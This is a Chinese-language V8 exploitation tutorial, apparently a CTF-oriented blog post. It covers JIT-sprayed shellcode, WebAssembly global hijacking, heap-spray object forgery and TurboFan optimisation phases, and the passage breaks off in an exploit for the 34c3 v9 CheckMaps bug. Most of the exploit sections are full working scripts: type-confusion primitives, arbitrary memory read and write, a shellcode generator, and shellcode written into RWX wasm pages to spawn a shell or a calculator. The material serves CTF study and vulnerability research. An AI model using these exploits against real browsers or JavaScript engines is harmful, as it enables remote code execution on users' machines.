这里需要注意的是 vmovsd 函数在后面 QWORD PTR [rcx+offset] 中的 offset 在从 0x7f 变为 0x87 的时候指令长度增加了 3 字节,因此需要注意需要修改 jmp 的跳转偏移或者避免使用 rcx 寄存器。因为 rcx 被用来写数据所以原本是指向可读写的内存,因此指向下面这条指令不会出错。
在这里插入图片描述
另外注意 shellcode 最终执行的是 execve("/usr/bin/xcalc", &"/usr/bin/xcalc", &"DISPLAY=:0"); ,对应那些二级字符串指针的参数需要进行 0 截断。

exp 如下:

let array_buffer = new ArrayBuffer(0x8);
let data_view = new DataView(array_buffer);

function d2u(value) {
    data_view.setFloat64(0, value);
    return data_view.getBigUint64(0);
}

function u2d(value) {
    data_view.setBigUint64(0, value);
    return data_view.getFloat64(0);
}

function hex(val) {
    return '0x' + val.toString(16).padStart(16, "0");
}

function shellcode() {
    return [
        1.930800574428816e-246,
        1.9710610293119303e-246,
        1.9580046981136086e-246,
        1.9533830734556562e-246,
        1.961642575273437e-246,
        1.9399842868403466e-246,
        1.9627709291878714e-246,
        1.9711826272864685e-246,
        1.9954775598492772e-246,
        2.000505685241573e-246,
        1.9535148279508375e-246,
        1.9895153917617124e-246,
        1.9539853963090317e-246,
        1.9479373016495106e-246,
        1.97118242283721e-246,
        1.95323825426926e-246,
        1.99113905582155e-246,
        1.9940808572858186e-246,
        1.9537941682504095e-246,
        1.930800151635891e-246,
        1.932214185322047e-246
    ];
}

for (let i = 0; i < 0x40000; i++) {
    shellcode();
}

var oob_array = [.1];
var object_array = [{}];
var double_array = [.1];
var rw_array = [.1];

oob_array.len(114514);

var object_array_map = d2u(oob_array[2]);
var double_array_map = d2u(oob_array[11]);

print("[*] object array map: " + hex(object_array_map >> 32n));
print("[*] double array map: " + hex(double_array_map >> 32n));

function offset_of(obj) {
    oob_array[2] = u2d(object_array_map);
    object_array[0] = obj;
    oob_array[2] = u2d(double_array_map);
    return d2u(object_array[0]) & 0xFFFFFFFFn;
}

function fake_object(offset) {
    oob_array[11] = u2d(double_array_map);
    double_array[0] = u2d(offset);
    oob_array[11] = u2d(object_array_map);
    return double_array[0];
}


function read(offset) {
    oob_array[18] = u2d((((offset - 8n) | 1n) << 32n) | (d2u(oob_array[18]) & 0xFFFFFFFFn));
    return d2u(rw_array[0]);
}

function write(offset, value) {
    oob_array[18] = u2d((((offset - 8n) | 1n) << 32n) | (d2u(oob_array[18]) & 0xFFFFFFFFn));
    rw_array[0] = u2d(value);
}

shellcode_offset = offset_of(shellcode);


leak_offset = (read(shellcode_offset + 0x18n) & 0xFFFFFFFFn) + 8n;
leak_data = read(leak_offset);

code = leak_data & 0xFFFFFFFFn;
code_entry_point = leak_data >> 32n;

write(leak_offset, code | ((code_entry_point + 0x66n) << 32n));
print("[*] leak offset: " + hex(leak_offset));

// %DebugPrint(shellcode);
// % SystemBreak();

shellcode();

通常可以使用如下脚本生成 shellcode 。注意跳转距离可能会有变化,需要调整。

from pwn import *
context.arch = 'amd64'
context.os = 'linux'


iss=1
def convert(x):
    global iss
    print(str(iss)+':'+str(len(x)))
    jmp = b'\xeb\x0c'
    # if iss<=11: '
    # else :jmp=b"\xeb\x16"
    iss +=1
    return u64(x.ljust(6, b'\x90') + jmp)
#orw flag.txt
# imm1 = [
#    asm("mov eax,0x7478742e"), # ".txt"
#    asm("push 0;shl rax,0x20"),
#    asm("add rax,0x67616c66"), # "flag"
#    asm("push rax"),
#    asm("mov rdi, rsp; xor rsi, rsi"),
#    asm("mov eax, 2"),
#    asm("xor edx, edx;syscall"),
#    asm("mov edi,3"),
#    asm("lea rsi, [rsp-8]"),
#    asm("mov edx, 0x80"),
#    asm("xor eax, eax;syscall;xor edi, edi"),
#    asm("mov al, 1;syscall;"),
#    asm("mov al,59;syscall;")
# ]

# execve("/bin/sh", 0, 0);
# imm1 = [
#    asm("push 0x67616c66"),
#    asm("mov rdi, rsp; xor rsi, rsi"),
#    asm("mov eax, 2"),
#    asm("xor edx, edx;syscall"),
#    asm("mov edi,3"),
#    asm("lea rsi, [rsp-8]"),
#    asm("mov edx, 0x80"),
#    asm("xor eax, eax;syscall;xor edi, edi"),
#    asm("mov al, 1;syscall"),
#    asm("mov al,60;syscall;")
# ]

# execve("/bin/sh", {"cat", "flag", NULL}, 0);
imm1 = [
    asm("mov eax,0x7478742e"),
    asm("push 0;shl rax,0x20"),
    asm("add rax,0x67616c66"),
    asm("push rax;push 0x746163"),
    asm("push 0"),
    asm("lea rax, [rsp+0x10];push rax"),
    asm("sub rax, 8; push rax"),
    asm("mov rsi, rsp"),
    asm("mov eax,0x68732f"),
    asm("shl rax, 0x20"),
    asm("add rax, 0x6e69622f"),
    asm("push rax;mov rdi, rsp;"),
    asm("mov eax, 59"),
    asm("xor edx, edx;syscall"),
    asm("mov rdi,rsi"),
    asm("xor esi, esi"),
    asm("syscall")
]


imm1 = [convert(x) for x in imm1]

for sd in imm1:
    print('u2d('+str(sd)+"n"+"),")

然后使用如下脚本将生成的 shellcode 转为 浮点数。

let array_buffer = new ArrayBuffer(0x8);
let data_view = new DataView(array_buffer);

function d2u(value) {
    data_view.setFloat64(0, value);
    return data_view.getBigUint64(0);
}

function u2d(value) {
    data_view.setBigUint64(0, value);
    return data_view.getFloat64(0);
}

function hex(val) {
    return '0x' + val.toString(16).padStart(16, "0");
}

function get_shellcode() {
    let x = [
        u2d(930996577893625528n),
        u2d(930873897669623914n),
        u2d(930951416110253384n),
        u2d(930838247832250448n),
        u2d(930996698557186154n),
        u2d(930925778240310600n),
        u2d(930996421403378504n),
        u2d(930996698562857288n),
        u2d(930996079408918456n),
        u2d(930996696683430216n),
        u2d(930959146880009544n),
        u2d(930996700016363600n),
        u2d(930996077656554424n),
        u2d(930996696216752689n),        
    ]
    for (let i = 0; i < x.length; i++) {
        console.log(x[i] + ",")
    }
}

get_shellcode();

利用 WasmInstance 的全局变量

由于这种方法在较高版本中不能使用,这里以 DiceCTF2022 memory hole 为例进行介绍。
这个题目我查到的 commit 号为 002e39e97a56a05dd200481ea04c74b8c0203acc ,虽然没有 patch 成功,但是 patch 完的部分可以正常触发漏洞。

和上一个 demo 一样,这个题目也添加了一个修改数组长度的方法,因此可以像上一题一样实现 address of 和 fake object 利用原语以及堆内任意地址读写。然而 wasm 产生的 rwx 段不在这个 v8 堆内,因此我们需一个真正的任意地址写来在 rwx 段内写 shellcode 。

wasm 可以用来实现一些的功能,比如下面这个代码就可以实现对 wasm 定义的 global 的读写。

var wasm_code = new Uint8Array([
    0x00, 0x61, 0x73, 0x6D, 0x01, 0x00, 0x00, 0x00, 0x01, 0x09, 0x02, 0x60, 0x00, 0x01, 0x7E, 0x60,
    0x01, 0x7E, 0x00, 0x02, 0x0E, 0x01, 0x02, 0x6A, 0x73, 0x06, 0x67, 0x6C, 0x6F, 0x62, 0x61, 0x6C,
    0x03, 0x7E, 0x01, 0x03, 0x03, 0x02, 0x00, 0x01, 0x07, 0x1B, 0x02, 0x0A, 0x67, 0x65, 0x74, 0x5F,
    0x67, 0x6C, 0x6F, 0x62, 0x61, 0x6C, 0x00, 0x00, 0x0A, 0x73, 0x65, 0x74, 0x5F, 0x67, 0x6C, 0x6F,
    0x62, 0x61, 0x6C, 0x00, 0x01, 0x0A, 0x0D, 0x02, 0x04, 0x00, 0x23, 0x00, 0x0B, 0x06, 0x00, 0x20,
    0x00, 0x24, 0x00, 0x0B, 0x00, 0x15, 0x04, 0x6E, 0x61, 0x6D, 0x65, 0x02, 0x08, 0x02, 0x00, 0x00,
    0x01, 0x01, 0x00, 0x01, 0x70, 0x07, 0x04, 0x01, 0x00, 0x01, 0x67
])
const global = new WebAssembly.Global({ value: 'i64', mutable: true }, 0n);
var wasm_instance = new WebAssembly.Instance(new WebAssembly.Module(wasm_code), { js: { global } });
var get_global = wasm_instance.exports.get_global;
var set_global = wasm_instance.exports.set_global;

set_global(0x114514n);
console.log(get_global());

% DebugPrint(wasm_instance);
% SystemBreak();

这介绍一下 wasm code 的生成方法:
首先编写一个能实现相应的功能的 wat 代码:

(module
   (global $g (import "js" "global") (mut i64))
   (func (export "get_global") (result i64) (global.get $g))
   (func (export "set_global") (param $p i64) (global.set $g (local.get $p)))
)

然后在这个网站上转换为 wasm 并下载转换后的文件,下载的文件中的数据即为 wasm code 。

这里打印出 wasm_instance 发现其中的 imported_mutable_globals 是一个完整的指针并且指向指向 global 对应的内存的指针(global 的二级指针),因此可以通过堆内任意地址读写修改 imported_mutable_globals 指向一个 DoubleArray 从而实现任意地址读写。
在这里插入图片描述
在这里插入图片描述
之后的操作可以参考 OOB 。exp 如下:

let array_buffer = new ArrayBuffer(0x8);
let data_view = new DataView(array_buffer);

function d2u(value) {
    data_view.setFloat64(0, value);
    return data_view.getBigUint64(0);
}

function u2d(value) {
    data_view.setBigUint64(0, value);
    return data_view.getFloat64(0);
}

function hex(val) {
    return '0x' + val.toString(16).padStart(16, "0");
}

var oob_array = [.1];
var object_array = [{}];
var double_array = [.1];
var rw_array = [.1];
oob_array.setLength(114514);

double_array_map = d2u(oob_array[12]);
object_array_map = d2u(oob_array[8]);

console.log("[*] double array map: " + hex(double_array_map & 0xFFFFFFFFn));
console.log("[*] object array map: " + hex(object_array_map & 0xFFFFFFFFn));

function offset_of(obj) {
    oob_array[8] = u2d(object_array_map);
    object_array[0] = obj;
    oob_array[8] = u2d(double_array_map);
    return d2u(object_array[0]) & 0xFFFFFFFFn;
}

function fake_object(offset) {
    oob_array[12] = u2d(double_array_map);
    double_array[0] = u2d(offset);
    oob_array[12] = u2d(object_array_map);
    return double_array[0];
}

function read(offset) {
    oob_array[17] = u2d((((offset - 8n) | 1n)) | (d2u(oob_array[17]) & 0xFFFFFFFF00000000n));
    return d2u(rw_array[0]);
}


function write(offset, value) {
    oob_array[17] = u2d((((offset - 8n) | 1n)) | (d2u(oob_array[17]) & 0xFFFFFFFF00000000n));
    rw_array[0] = u2d(value);
}

var sandbox_base = read(24n) & 0xFFFFFFFF00000000n;
console.log("[*] sandbox base: " + hex(sandbox_base));

var wasm_code = new Uint8Array([
    0x00, 0x61, 0x73, 0x6D, 0x01, 0x00, 0x00, 0x00, 0x01, 0x09, 0x02, 0x60, 0x00, 0x01, 0x7E, 0x60,
    0x01, 0x7E, 0x00, 0x02, 0x0E, 0x01, 0x02, 0x6A, 0x73, 0x06, 0x67, 0x6C, 0x6F, 0x62, 0x61, 0x6C,
    0x03, 0x7E, 0x01, 0x03, 0x03, 0x02, 0x00, 0x01, 0x07, 0x1B, 0x02, 0x0A, 0x67, 0x65, 0x74, 0x5F,
    0x67, 0x6C, 0x6F, 0x62, 0x61, 0x6C, 0x00, 0x00, 0x0A, 0x73, 0x65, 0x74, 0x5F, 0x67, 0x6C, 0x6F,
    0x62, 0x61, 0x6C, 0x00, 0x01, 0x0A, 0x0D, 0x02, 0x04, 0x00, 0x23, 0x00, 0x0B, 0x06, 0x00, 0x20,
    0x00, 0x24, 0x00, 0x0B, 0x00, 0x15, 0x04, 0x6E, 0x61, 0x6D, 0x65, 0x02, 0x08, 0x02, 0x00, 0x00,
    0x01, 0x01, 0x00, 0x01, 0x70, 0x07, 0x04, 0x01, 0x00, 0x01, 0x67
])
const global = new WebAssembly.Global({ value: 'i64', mutable: true }, 0n);
var wasm_instance = new WebAssembly.Instance(new WebAssembly.Module(wasm_code), { js: { global } });
var get_global = wasm_instance.exports.get_global;
var set_global = wasm_instance.exports.set_global;

imported_mutable_globals = [.1];
var imported_mutable_globals_addr = sandbox_base + offset_of(imported_mutable_globals) - 0x9n;
console.log("[*] imported_mutable_globals: " + hex(imported_mutable_globals_addr));
write(offset_of(wasm_instance) + 0x50n, imported_mutable_globals_addr);

function arbitrary_address_read(addr) {
    imported_mutable_globals[0] = u2d(addr);
    return get_global();
}

function arbitrary_address_write(addr, value) {
    imported_mutable_globals[0] = u2d(addr);
    set_global(value);
}

let wasm_code2 = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 133, 128, 128,
    128, 0, 1, 96, 0, 1, 127, 3, 130, 128, 128, 128, 0, 1, 0, 4, 132, 128, 128, 128,
    0, 1, 112, 0, 0, 5, 131, 128, 128, 128, 0, 1, 0, 1, 6, 129, 128, 128, 128, 0,
    0, 7, 145, 128, 128, 128, 0, 2, 6, 109, 101, 109, 111, 114, 121, 2, 0, 4, 109,
    97, 105, 110, 0, 0, 10, 138, 128, 128, 128, 0, 1, 132, 128, 128, 128, 0, 0, 65,
    42, 11]);
let wasm_instance2 = new WebAssembly.Instance(new WebAssembly.Module(wasm_code2));
let f = wasm_instance2.exports.main;
var rwx_mem_addr = arbitrary_address_read(sandbox_base + offset_of(wasm_instance2) - 1n + 0x60n);
console.log("[*] rwx mem addr: " + hex(rwx_mem_addr));

var shellcode = [
    0x636c6163782fb848n,
    0x73752fb848500000n,
    0x8948506e69622f72n,
    0x89485750c03148e7n,
    0x3ac0c748d23148e6n,
    0x4944b84850000030n,
    0x48503d59414c5053n,
    0x485250c03148e289n,
    0x00003bc0c748e289n,
    0x0000000000050f00n
]

for (let i = 0; i < shellcode.length; i++) {
    arbitrary_address_write(rwx_mem_addr + BigInt(i) * 8n, shellcode[i]);
}

f();

堆喷伪造对象

指针压缩下的通用堆喷技术,效果为:获取一个低 4 字节固定的对象

v8 堆块管理结构

一般而言,V8 中的 Heap Object 都分配在 4GB 堆空间的 rw- 页面上。在堆块页面的起始部分,有一段空间是用来存储堆块的元信息的,在 V8 的堆结构中有 0x2118 字节(具体看版本)用来存储堆结构相关信息。
在这里插入图片描述
其中关键字段解释如下:

  • 0x0000000000040000:堆大小。
  • 0x00000be508042118:堆的起始地址。
  • 0x00000be508080000:堆指针,表示该堆已经被使用到哪了,即现在堆指针指向 0xbe508080000 。
  • 0x000000000003dee8: 已经被使用的 size , 0x3dee8 + 0x2118 = 0x40000 。
  • 0x0000000000002118:堆头大小。

如果这个时候,我申请一个 0xf700 大小的数组。如果开启指针压缩,一个地址4字节,那么就是需要 0xf700 * 4 + 0x2118 = 0x3fd18,再对齐一下,那么就是0x40000大小的堆。

a = Array(0xf700);
% DebugPrint(a);
% SystemBreak();

在这里插入图片描述
elements 字段地址为 0x559081c0000+ 0x80000 + 0x2118 + 0x1 = 0x055908242119 。在启动指针压缩时,在堆中储存的地址为 4 字节,而根据上述堆的特性,我们能确定低 2 字节为 0x2119 ,而一般情况下其高 2 字节也是不变的,所以这里其实 4 字节都已经确认的

还有一个比较重要的点是,该 FixedArray 是一个大对象,其是不受 gc 影响的,所以这里的效果就是获取一个已经地址的内容可控的内存区域。

任意地址对象伪造

如果存在任意地址对象伪造漏洞(fake_object 原语),则我们可以在一个大的 DoubleArray 中伪造一个 DoubleArray 然后实现 offset_ofarbitrary_offset_readarbitrary_offset_write 原语。

首先我们先创建一个大的 DoubleArray 并在里面伪造一个 DoubleArray
在这里插入图片描述
这里需要注意的是:通过调试可知,我们只需要伪造 map 的前 16 字节即可。而 map 的前 16 字节基本是不变的。

let spray_array = new Array(0xf700).fill(1.1);
let spray_array_data_offset = 0x00202141n + 7n;  // spray_array 的 element 中成员的起始地址
let map_offset = spray_array_data_offset + 0x1000n;  // 伪造的 map 在沙箱中的偏移
let fake_double_array_offset = map_offset + 0x1000n;  // 伪造的 fake_double_array 在沙箱中的偏移

// 伪造 fake_double_array 的 map ,这里只需要伪造前 16 字节。
spray_array[(map_offset - spray_array_data_offset) / 8n] = u2d(0x1a04040400002141n);
spray_array[(map_offset - spray_array_data_offset) / 8n + 1n] = u2d(0xa0007ff1100083an);

// fake_double_array 的 map 指针指向伪造的 map
spray_array[(fake_double_array_offset - spray_array_data_offset) / 8n] = u2d(map_offset | 1n | (0x00002259n << 32n));

// 利用任意地址对象伪造漏洞(fake_object)泄露出 fake_double_array
let fake_double_array = trigger(fake_double_array_offset | 1n);

offset_of 原语实现:我们只需要再申请一个大的 ObjectArray(我们称之为 spray_object_array)然后让伪造的 DoubleArrayelements 指针指向 spray_object_arrayelementselements 在沙箱内偏移固定)造成类型混淆。
在这里插入图片描述

let spray_object_array = new Array(0xf700).fill({});
let object_array_element_offset = 0x00282141n;

function offset_of(object) {
    // 将 object 添加到 spray_object_array 的 elements 中
    spray_object_array[0] = object;
    // fake_double_array 的 elements 指针指向 spray_object_array 的 elements
    spray_array[(fake_double_array_offset - spray_array_data_offset) / 8n + 1n] = u2d(object_array_element_offset | 1n | (0x00000002n << 32n));
    // 从 fake_double_array 读出 object 在沙箱中的偏移
    return d2u(fake_double_array[0]) & 0xFFFFFFFFn;
}

arbitrary_offset_readarbitrary_offset_write 原语实现:直接通过 apray_array 修改 elements 然后读写 fake_double_array 实现。
在这里插入图片描述

function arbitrary_offset_read(address) {
    spray_array[(fake_double_array_offset - spray_array_data_offset) / 8n + 1n] = u2d((address - 8n) | 1n | (0x00000002n << 32n));
    return d2u(fake_double_array[0]);
}

function arbitrary_offset_write(address, value) {
    spray_array[(fake_double_array_offset - spray_array_data_offset) / 8n + 1n] = u2d((address - 8n) | 1n | (0x00000002n << 32n));
    fake_double_array[0] = u2d(value);

JustinTimeCompiler

在这里插入图片描述

预测优化

Javascript是弱类型,函数参数的类型无法再翻译时确定,但是每一个函数调用,传进来的实参都有一个确定的类型,因此这个信息收集起来用来优化函数。

  • Feedback Vector,收集参数类型
    在这里插入图片描述
  • Feedback 的变化遵循格的规律,不可逆。
    在这里插入图片描述

工作原理

在这里插入图片描述

在这里插入图片描述

Sea of Nodes

基本概念

SSA(static single assignment)

这个是 IR 的一个属性。如果一套 IR 里面,规定了所有的变量一定被且只被赋值一次,且所有的变量在使用之前都保证被定义

var a = 0;
a = (a + 2) * 3;
b = a + 2;

普通的 IR

v_a = 0
v_a = v_a + 2
v_a = v_a * 3
v_b = v_a + 2

SSA 的 IR

v_a0 = 0
v_a1 = v_a0 + 2
v_a2 = v_a1 * 3
v_b = v_a2 + 2
CFG(Control Flow Graph)

控制流图是一个有向图,它的每一个结点由一个或多个指令转成。结点保证了只有在最后一条指令才能发生跳转,其他在结点里的所有指令都不会发生跳转。
在这里插入图片描述

DFG(Data Flow Graph)

数据流图则刻画了操作之前的数据依赖关系。图里的每一个结点都表示了一个操作,如果一个操作结点的结果被其他操作结点所使用,那么它们在数据流图里就会存在一条边。
在这里插入图片描述

依赖

CFG 和 DFG 从不同的层面刻画了程序。它们有交集的地方。控制流中还有一定的数据流,数据流中含有一定的控制流。直接去操纵这两者进行优化,问题会变得复杂且容易出错。
在 JIT 中依赖有数据依赖、Effect依赖和控制依赖 3 种。
在这里插入图片描述

数据依赖

所有的计算操作都被刻画成图的结点
在这里插入图片描述
没有控制流图那种严格的执行顺序,而是根据依赖关系,符合拓扑排序的所有顺序都是满足条件
在这里插入图片描述
在这里插入图片描述

Effect依赖

保证图中数据的读写顺序和源程序是一致的
在这里插入图片描述

控制依赖

规定了程序执行的顺序,但是比常规的 CFG 要宽松。
在这里插入图片描述
在这里插入图片描述

操作符的特例化

在 Sea of nodes 里面,操作符有三种级别,分别是 JavascriptIntermediate ,以及 mahine 。从上往下分别是从抽象到具体,越往下就表示越优化。
在这里插入图片描述

JIT常见优化

Type and Range Analysis

对数据的类型和范围进行分析能促进很多优化,比如bound check的去除。当操作数为两个带有 type 和 range 的结点,输出结果也往往带着 type 和 range ,且 range 是根据两个操作数的 range 和操作符进行结合。
在这里插入图片描述

规约(Reduction)

常量折叠(constant folding)

常量折叠就是当编译器判断出一个操作的结果恒为常量时,他就会把这个操作直接用其结果进行替代。
在这里插入图片描述

强度折减(strength reduction)

强度折减将昂贵的运算以相同但是相对便宜的运算取代。比如用加法替代乘法,用左右移替代乘除法。
在这里插入图片描述

Typed Lowering

Typed Lowering利用运行信息如变量类型将操作具体化,减少抽象度。
在这里插入图片描述

Global Value Numbering

本质上就是尽可能多的进行等价替代,减少重复计算。
在这里插入图片描述

控制优化

在这里插入图片描述

Inline

inline 是把一些函数调用直接替换成函数执行体。
在这里插入图片描述

Escape Analysis

决定一个对象的作用域是否被限制在当前的函数中。在 v8 中,它能减少在堆中分配对象的次数。
在这里插入图片描述

V8流水线

在这里插入图片描述
具体看 v8/src/compiler/pipeline.cc

  • bytecode graph builder (GraphBuilderPhase)
    • 建图,js 代码生成 sea of nodes
  • inlining
    • 删除不会执行的代码
    • 函数内联,例如把 JSCall(MathExpm1) 替换为 NumberExpm1
    • 删除死节点到活节点的边
  • Typer
    • 将每个节点打上标签,例如数据范围和数据类型,并且计算的数据范围在接下来的所有阶段中都不会改变,也就是说接下里所有阶段的数据范围都继承自 typer 阶段
  • typered lowering
    • 删除不会执行的代码。
    • 常量折叠,例如 1 + 1 替换为 2
    • 类型优化,例如根据传入的一个参数始终为 -1SameValue 替换为 ObjectIsMinusZero
    • 根据 typer 阶段的预测值,预测 samevalue 的返回值,如果一定返回 true 或者 false ,就把 samevalue 替换成 true 或者 false 。
  • loop peeling
    貌似没啥用,所以导致 typered lowering 和 load elimination 阶段效果相似。
  • load elimination
    包含 RedundancyElimination ,根据 typer 阶段的预测值,预测 samevalue 的返回值,如果一定返回 true 或者 false,就把 samevalue 替换成 true 或者 false 。如果被优化的函数中,定义了全局的 array(前面不加 var 和 let),则根据定义的 array 中元素个数,把 checkbound 节点(checkbound 节点来源于对 array 的读写操作)的第二个输入从 loadfield 替换成“ array 中元素个数”这个常量。一般我们想要越界读写 array 都要去掉 checkbound 节点,触发“ simplified lowering 阶段去掉 checkbound 节点”优化前需要先触发“ load elimination 阶段”的这个优化。另外触发的函数的越界数组必须定义在函数内部,不能是全局的,否则 v8 无法确定数组中的元素个数。
  • escape analysis
    把属性的值从对象中取出来。LoadFieldJSObject 获取属性,如果获取的属性值确定,就把LoadField 替换成属性值。根据目前遇到的题目来看,escape analysis 对于不能 inline 的库函数的返回结果和另一个对象的属性进行比较之类的操作的时候会在这个阶段将属性的值从对象中取出来,否则如果有优化空间会在前一步的 load elimination 阶段将属性的值从对象中取出来同时根据预测的结果优化为常量。
    在这里插入图片描述
  • simplified lowering
    尝试对 samevalue 进行降级,因此会参考 samevalue 的两个输入预测 samevalue 的返回值,并影响后续节点的预测(但是range都没有改变)。并不会把 samevalue 替换成 true 或者 false 。根据访问范围是否始终在 Array 内决定是否去掉 CheckBounds 。

例题:34c3 v9

附件下载链接

环境搭建

mkdir v8 && cd v8
fetch v8 && cd v8
git checkout 7.6.303.28
gclient sync
git clone https://github.com/saelo/v9.git
patch -p1 < v9/v9_7.2.patch
./tools/dev/gm.py x64.release

漏洞分析

diff --git a/src/compiler/redundancy-elimination.cc b/src/compiler/redundancy-elimination.cc
index b91b82e766..02c1e71203 100644
--- a/src/compiler/redundancy-elimination.cc
+++ b/src/compiler/redundancy-elimination.cc
@@ -26,6 +26,7 @@ Reduction RedundancyElimination::Reduce(Node* node) {
     case IrOpcode::kCheckHeapObject:
     case IrOpcode::kCheckIf:
     case IrOpcode::kCheckInternalizedString:
+    case IrOpcode::kCheckMaps:
     case IrOpcode::kCheckNotTaggedHole:
     case IrOpcode::kCheckNumber:
     case IrOpcode::kCheckReceiver:
@@ -158,8 +159,8 @@ bool CheckSubsumes(Node const* a, Node const* b) {
         case IrOpcode::kCheckedUint32ToInt32:
         case IrOpcode::kCheckedUint32ToTaggedSigned:
         case IrOpcode::kCheckedUint64Bounds:
-        case IrOpcode::kCheckedUint64ToInt32:
         case IrOpcode::kCheckedUint64ToTaggedSigned:
+        case IrOpcode::kCheckedUint64ToInt32:
           break;
         case IrOpcode::kCheckedFloat64ToInt32:
         case IrOpcode::kCheckedFloat64ToInt64:
@@ -188,6 +189,15 @@ bool CheckSubsumes(Node const* a, Node const* b) {
           }
           break;
         }
+        case IrOpcode::kCheckMaps: {
+            // CheckMaps are compatible if the first checks a subset of the second.
+            ZoneHandleSet<Map> const& a_maps = CheckMapsParametersOf(a->op()).maps();
+            ZoneHandleSet<Map> const& b_maps = CheckMapsParametersOf(b->op()).maps();
+            if (!b_maps.contains(a_maps)) {
+                return false;
+            }
+            break;
+        }
         default:
           DCHECK(!IsCheckedWithFeedback(a->op()));
           return false;

分析 diff 文件,发现增加了 kCheckMaps 的 reduce 优化,这个优化的作用是合并两个 kCheckMaps 操作,而合并的条件是前一个 kCheckMaps 的判断条件包含了后一个 kCheckMaps 的全部判断条件。

bool CheckSubsumes(Node const* a, Node const* b) {
      ...
      switch (a->opcode()) {
        ...
        case IrOpcode::kCheckMaps: {
            // CheckMaps are compatible if the first checks a subset of the second.
            ZoneHandleSet<Map> const& a_maps = CheckMapsParametersOf(a->op()).maps();
            ZoneHandleSet<Map> const& b_maps = CheckMapsParametersOf(b->op()).maps();
            if (!b_maps.contains(a_maps)) {
                return false;
            }
            break;
        }
        ...
  return true;
}

Node* RedundancyElimination::EffectPathChecks::LookupCheck(Node* node) const {
  for (Check const* check = head_; check != nullptr; check = check->next) {
    if (CheckSubsumes(check->node, node) && TypeSubsumes(node, check->node)) {
      DCHECK(!check->node->IsDead());
      return check->node;
    }
  }
  return nullptr;
}

Reduction RedundancyElimination::ReduceCheckNode(Node* node) {
  Node* const effect = NodeProperties::GetEffectInput(node);
  EffectPathChecks const* checks = node_checks_.Get(effect);
  // If we do not know anything about the predecessor, do not propagate just yet
  // because we will have to recompute anyway once we compute the predecessor.
  if (checks == nullptr) return NoChange();
  // See if we have another check that dominates us.
  if (Node* check = checks->LookupCheck(node)) {
    ReplaceWithValue(node, check);
    return Replace(check);
  }

  // Learn from this check.
  return UpdateChecks(node, checks->AddCheck(zone(), node));
}

Reduction RedundancyElimination::Reduce(Node* node) {
  if (node_checks_.Get(node)) return NoChange();
  switch (node->opcode()) {
    ...
    case IrOpcode::kCheckMaps:
    ...
      return ReduceCheckNode(node);

因此如果两次 kCheckMaps 之间如果一直没有修改 map 那么经过 JIT 优化后后一个 kCheckMaps 会被去除,而此时如果修改了 map 则由于缺少对 map 的检查导致类型混淆。
poc 如下:

let array_buffer = new ArrayBuffer(0x8);
let data_view = new DataView(array_buffer);

function d2u(value) {
    data_view.setFloat64(0, value);
    return data_view.getBigUint64(0);
}

function u2d(value) {
    data_view.setBigUint64(0, value);
    return data_view.getFloat64(0);
}

function hex(val) {
    return '0x' + val.toString(16).padStart(16, "0");
}


function address_of(obj) {
    let a = [.1];

    function trigger(callback) {
        // Generate first MapCheck
        a[0];
        // This callback could change the Map ...
        callback();
        // ... but this MapCheck will still be removed ¯\_(ツ)_/¯
        return a[0];
    }

    function evil_callback() {
        a[0] = obj;
    }

    for (var i = 0; i < 100000; i++) {
        trigger(() => { });
    }
    return d2u(trigger(evil_callback));
}

print(hex(address_of(array_buffer)));

% DebugPrint(array_buffer);

首先定位 kCheckMaps 所在的优化的阶段。
在这里插入图片描述
选择最早的优化阶段,最终确定是在 V8.TFLoadElimination 阶段调用的此优化。

struct LoadEliminationPhase {
  static const char* phase_name() { return "V8.TFLoadElimination"; }

    ...
    RedundancyElimination redundancy_elimination(&graph_reducer, temp_zone);
    ...
    AddReducer(data, &graph_reducer, &redundancy_elimination);
    ...
    graph_reducer.ReduceGraph();
  }
};

观察 kCheckMaps 优化前后 trigger 函数的变化。
kCheckMaps 优化前,有两处 CheckMaps 操作,一个在 a[0]; 前,另一个在 return a[0]; 前。
在这里插入图片描述
kCheckMaps 优化后,第二处 CheckMaps 操作被优化掉,这是因为 kCheckMaps 优化认为第一次 CheckMaps 检查的条件包含了第二次 CheckMaps 检查的条件,所以可以去掉。
在这里插入图片描述
然而两次 kCheckMaps 之间调用 callback 函数会修改 map 属性,浮点数数组变为 object 数组,然而在 trigger 函数中依然认为这个数组是浮点数数组,因此可以造成类型混淆,从而实现 address of 利用原语。
在这里插入图片描述
同理,fake object 原语也可以实现。

let array_buffer = new ArrayBuffer(0x8);
let data_view = new DataView(array_buffer);

function d2u(value) {
    data_view.setFloat64(0, value);
    return data_view.getBigUint64(0);
}

function u2d(value) {
    data_view.setBigUint64(0, value);
    return data_view.getFloat64(0);
}

function hex(val) {
    return '0x' + val.toString(16).padStart(16, "0");
}


function address_of(obj) {
    let a = [.1];

    function trigger(callback) {
        // Generate first MapCheck
        a[0];
        // This callback could change the Map ...
        callback();
        // ... but this MapCheck will still be removed ¯\_(ツ)_/¯
        return a[0];
    }

    function evil_callback() {
        a[0] = obj;
    }

    for (var i = 0; i < 100000; i++) {
        trigger(() => { });
    }
    return d2u(trigger(evil_callback));
}

function fake_object(addr) {
    let a = [.1];

    function trigger(callback) {
        // Generate first MapCheck
        a[0];
        // This callback could change the Map ...
        callback();
        // ... but this MapCheck will still be removed ¯\_(ツ)_/¯
        a[0] = addr;
    }

    function evil_callback() {
        a[0] = {};
    }

    for (var i = 0; i < 100000; i++) {
        trigger(() => { });
    }

    trigger(evil_callback);

    return a[0];
}

var obj = fake_object(u2d(address_of(array_buffer)));

% DebugPrint(obj);

在这里插入图片描述

漏洞利用

前面漏洞分析已经构造出 address of 和 fake object 两个利用原语,因此后续利用和前面的 OOB 一致。不过需要注意的是, address_of 函数在用过一次之后已经被 JIT 了,后续如果用到这个函数需要再定义一个。

function gc() {
    for (let i = 0; i < 0x10; i++) {
        new Array(0x100000);
    }
}

let array_buffer = new ArrayBuffer(0x8);
let data_view = new DataView(array_buffer);

function d2u(value) {
    data_view.setFloat64(0, value);
    return data_view.getBigUint64(0);
}

function u2d(value) {
    data_view.setBigUint64(0, value);
    return data_view.getFloat64(0);
}

function hex(val) {
    return '0x' + val.toString(16).padStart(16, "0");
}


function address_of1(obj) {
    let a = [.1];

    function trigger(callback) {
        // Generate first MapCheck
        a[0];
        // This callback could change the Map ...
        callback();
        // ... but this MapCheck will still be removed ¯\_(ツ)_/¯
        return a[0];
    }

    function evil_callback() {
        a[0] = obj;
    }

    for (var i = 0; i < 100000; i++) {
        trigger(() => { });
    }
